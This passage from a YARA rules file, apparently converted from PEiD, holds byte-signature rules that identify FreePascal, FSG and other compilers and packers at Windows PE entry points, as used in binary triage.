+rule PEiD_00755_FreePascal_1_0_4_Win32_DLL_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 1.0.4 Win32 DLL -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 00 55 89 E5 53 56 57 8B 7D 08 89 3D ?? ?? ?? ?? 8B 7D 0C 89 3D ?? ?? ?? ?? 8B 7D 10 89 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 5D C2 0C 00}
+    condition:
+        $a
+}
+rule PEiD_00756_FreePascal_2_0_0_Win32_____Berczi_Gabor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 C6 05 ?? ?? ?? ?? 00 E8 ?? ?? ?? ?? 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? ?? ?? ?? 55 31 ED 89 E0 A3 ?? ?? ?? ?? 66 8C D5 89 2D ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 ED E8 ?? ?? ?? ?? 5D E8 ?? ?? ?? ?? C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00757_FreePascal_2_0_0_Win32_____B_rczi_G_bor__Pierre_Muller___Peter_Vreman__
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32 -> (Berczi Gabor, Pierre Muller & Peter Vreman)]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00 00 E8 C5 01 00 00 89 D8 E8 3E 02 00 00 E8 B9 01 00 00 E8 54 02 00 00 8B 5D FC C9 C3 8D 76 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 E5 C6 05 10 80 40 00 00 E8 D1 03 00 00 6A 00 64 FF 35 00 00 00 00 89 E0 A3 ?? 70 40 00 55 31 ED 89 E0 A3 20 80 40 00 66 8C D5 89 2D 30 80 40 00 E8 B9 03 00 00 31 ED E8 72 FF FF FF 5D E8 BC 03 00 00 C9 C3 00 00 00 00 00 00 00 00 00 00 55 89 E5 83 EC 08 E8 15 04 00 00 A1 ?? 70 40 00 89 45 F8 B8 01 00 00 00 89 45 FC 3B 45 F8 7F 2A FF 4D FC 90 FF 45 FC 8B 45 FC 83 3C C5 ?? 70 40 00 00 74 09 8B 04 C5 ?? 70 40}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00758_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00759_FreePascal_2_0_0_Win32_
+{
+    meta:
+        description = "[FreePascal 2.0.0 Win32]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00760_Freshbind_v2_0____gFresh_
+{
+    meta:
+        description = "[Freshbind v2.0 -> gFresh]"
+        ep_only = "true"
+    strings:
+        $a = {64 A1 00 00 00 00 55 89 E5 6A FF 68 1C A0 41 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00761_from_NORMAN_Anti_Virus_Utilites_
+{
+    meta:
+        description = "[from NORMAN Anti-Virus Utilites]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 5B 52 45 2F 4E 44 44 53 5D 0D 0A}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00762_Frusion____biff_
+{
+    meta:
+        description = "[Frusion -> biff]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00763_FSG_1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.00 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38}
+    condition:
+        $a
+}
+rule PEiD_00764_FSG_1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00765_FSG_1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00766_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00767_FSG_1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00768_FSG_1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00769_FSG_1_10__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "true"
+    strings:
+        $a = {03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00770_FSG_1_20__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6}
+    condition:
+        $a
+}
+
+rule PEiD_00771_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB}
+    condition:
+        $a
+}
+
+rule PEiD_00772_FSG_1_20__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "false"
+    strings:
+        $a = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_00773_FSG_1_20__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "false"
+    strings:
+        $a = {33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE}
+    condition:
+        $a
+}
+
+rule PEiD_00774_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0___7_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)]"
+        ep_only = "false"
+    strings:
+        $a = {EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA}
+    condition:
+        $a
+}
+
+rule PEiD_00775_FSG_1_20__Eng_____dulek_xt_____Microsoft_Visual_C___6_0__
+{
+    meta:
+        description = "[FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)]"
+        ep_only = "false"
+    strings:
+        $a = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+    condition:
+        $a
+}
+
+rule PEiD_00776_FSG_1_31__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 (Eng) -> dulek/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80 A4 B6 80 FF D3 73 F9 33 C9 FF D3 73 16 33 C0 FF D3 73 23 B6 80 41 B0 10 FF D3 12 C0 73 FA 75 42 AA EB E0 E8 46 00 00 00 02 F6 83 D9 01 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 48 13 C9 EB}
+    condition:
+        $a
+}
+
+rule PEiD_00777_FSG_1_31____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.31 -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? 00 BF ?? ?? ?? 00 BB ?? ?? ?? 00 53 BB ?? ?? ?? 00 B2 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00778_FSG_1_33__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG 1.33 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE A4 01 40 00 AD 93 AD 97 AD 56 96 B2 80 A4 B6 80 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3C AA EB E0 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 26 AC D1 E8 74 2F 13 C9 EB 1A 91 48 C1 E0 08 AC FF 53 04 3D 00 7D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00779_FSG_1_3_
+{
+    meta:
+        description = "[FSG 1.3]"
+        ep_only = "false"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00}
+    condition:
+        $a
+}
+
+rule PEiD_00780_FSG_v1_00__Eng_____dulek_xt_
+{
+    meta:
+        description = "[FSG v1.00 (Eng) -> dulek/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 51 FF FF FF 5F BB 28 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 0F 74 EF FE 0F 75 06 47 FF 37 AF EB 09 FE 0F 0F 84 ?? ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1C ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00781_FSG_v1_0_
+{
+    meta:
+        description = "[FSG v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? ?? 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00782_FSG_v1_10__Eng_____bart_xt_____Watcom_C_C___EXE__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> (Watcom C/C++ EXE)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 03 ?? 8D ?? 80 ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? EB 02}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00783_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00784_FSG_v1_10__Eng_____bart_xt____WinRAR_SFX_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00785_FSG_v1_10__Eng_____bart_xt_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BB D0 01 40 00 BF 00 10 40 00 BE ?? ?? ?? 00 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 B2 80 A4 6A 02 5B FF 14 24 73 F7 33 C9 FF 14 24 73 18 33 C0 FF 14 24 73 21 B3 02 41 B0 10 FF 14 24 12 C0 73 F9 75 3F AA EB DC E8 43 00 00 00 2B CB 75 10 E8 38 00 00 00 EB 28 AC D1 E8 74 41 13 C9 EB 1C 91 48 C1 E0 08 AC E8 22 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 96 33 C9 41 FF 54 24 04 13 C9 FF 54 24 04 72 F4 C3 5F 5B 0F B7 3B 4F 74 08 4F 74 13 C1 E7 0C EB 07 8B 7B 02 57 83 C3 04 43 43 E9 52 FF FF FF 5F BB 27 ?? ?? 00 47 8B 37 AF 57 FF 13 95 33 C0 AE 75 FD FE 07 74 EF FE 07 75 06 47 FF 37 AF EB 09 FE 07 0F 84 1A ?? ?? FF 57 55 FF 53 04 09 06 AD 75 DB 8B EC C3 1B ?? ?? 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00786_FSG_v1_10__Eng_____dulek_xt_____Borland_C___1999__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++ 1999)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 2B C8 68 80 ?? ?? 00 EB 02 1E BB 5E EB 02 CD 20 68 B1 2B 6E 37 40 5B 0F B6 C9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00787_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00788_FSG_v1_10__Eng_____dulek_xt_____Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00789_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00790_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00791_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Borland_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00792_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C_____ASM__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00793_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00794_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C____
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)]"
+        ep_only = "true"
+    strings:
+        $a = {C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00795_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi___Microsoft_Visual_C___x_
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)x]"
+        ep_only = "true"
+    strings:
+        $a = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00796_FSG_v1_10__Eng_____dulek_xt_____Borland_Delphi_2_0__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi 2.0)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 56 E8 02 00 00 00 B2 D9 59 68 80 ?? 41 00 E8 02 00 00 00 65 32 59 5E EB 02 CD 20 BB}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00797_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32___Microsoft_Visual_Basic__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)]"
+        ep_only = "true"
+    strings:
+        $a = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00798_FSG_v1_10__Eng_____dulek_xt_____MASM32___TASM32__
+{
+    meta:
+        description = "[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)]"
+        ep_only = "true"
+    strings:
+        $a = {03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B}
